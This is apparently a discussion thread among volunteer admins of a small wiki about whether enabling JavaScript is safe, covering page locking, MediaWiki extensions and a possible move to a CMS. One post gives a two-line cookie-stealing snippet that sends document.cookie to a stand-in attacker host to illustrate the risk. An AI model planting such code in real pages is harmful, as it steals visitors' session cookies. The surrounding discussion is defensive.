Cone bottoms for JamesRL

[Keef]

http://en.wikipedia.org/wiki/Wikipedia:Protection_policy

[Julian]

I'm not sure page protection is the answer.  If I'm understanding the problem correctly (which is highly unlikely), we want to stop anyone but trusted editors adding code which could be malicious.

I had a little Google and came up with this page ... https://prep09geogebra.pbworks.com/w/page/18304744/Adding%20Javascript%20to%20a%20wiki%20page  I have no idea if it applies to our type of wiki, but is this the sort of thing we need?

[Keef]

I'm pretty sure I don't understand it properly either but surely if you have locked the page so that it can only be edited by an administrator, how can anyone other than administrators add malicious code?

[Julian]

I think we need an add on to allow JavaScript.

If that can be applied to selected pages, then you suggestion will work.  If the add on applies to the whole wiki, then it's not really in the wiki sprit to have all the pages locked.

The ideal would be for only admin (for admin, read Tony as he's the only one with the ability to do it) to be able to add the script, which, I think is what the link I posted above is suggesting.

Wish I knew more to be able to progress things!

[Tony]

There are a couple of ways javascript can be turned on.

By a setting in the configuration file that enables it globally on pages.

By adding an extension like this one to include external javascript files:

http://www.mediawiki.org/wiki/Extension:WikiScript

However, both are global.  Any user making a new page would be able to add random javascript, or include a random offsite javascript file.

An example of why this is bad:

Assuming I am Mr Evil Hacker, I add the following code to any page:

i = new Image();
i.src = 'http://evilhackerssite.com/store_cookie_data?c=' + document.cookie;

Now I get to steal cookies from anyone that visits the page.

Locking individual pages with JS on does not prevent users adding it to any other page.

I had a look at the prep09geogebra plugin but that looks like it's for a specific platform or addon - certainly we don't have any plugin mechanism here.

[Tony]

Also, from:

http://www.mediawiki.org/wiki/Extension:Lockdown

If you need per-page or partial page access restrictions, you are advised to install an appropriate content management package. MediaWiki was not written to provide per-page access restrictions, and almost all hacks or patches promising to add them will likely have flaws somewhere, which could lead to exposure of confidential data. We are not responsible for anything being leaked, leading to loss of funds or one's job.
For further details, see Security issues with authorization extensions

I think we're snookered.

The alternative is to switch from a wiki to a CMS, say MODx (not Joomla *shudder*), and move all 90 articles.  (CMS do allow JS extensions and restrict based on user permissions).

The disadvantage of a CMS is that I don't think it will be easy to cross link all the pages as we do in the wiki.

And of course we'd end up breaking all our external links in from offsite.

[Julian]

But Tony, we're relying on you.

I had you down as a chap who could achieve anything internet related with little effort.

There'll be a lot of very upset wiki readers, worldwide if you let us down.

Is there any mechanism which will flag up JavaScript as soon as it's added?  We could then delete  it and ban the user.  Remember, we've already approved all members as being known to us via the VOD, other newcomers don't get editor rights.

[Julian]

New diagram uploaded for Jim ... http://www.biopowered.co.uk/wiki/File:Cone_development.png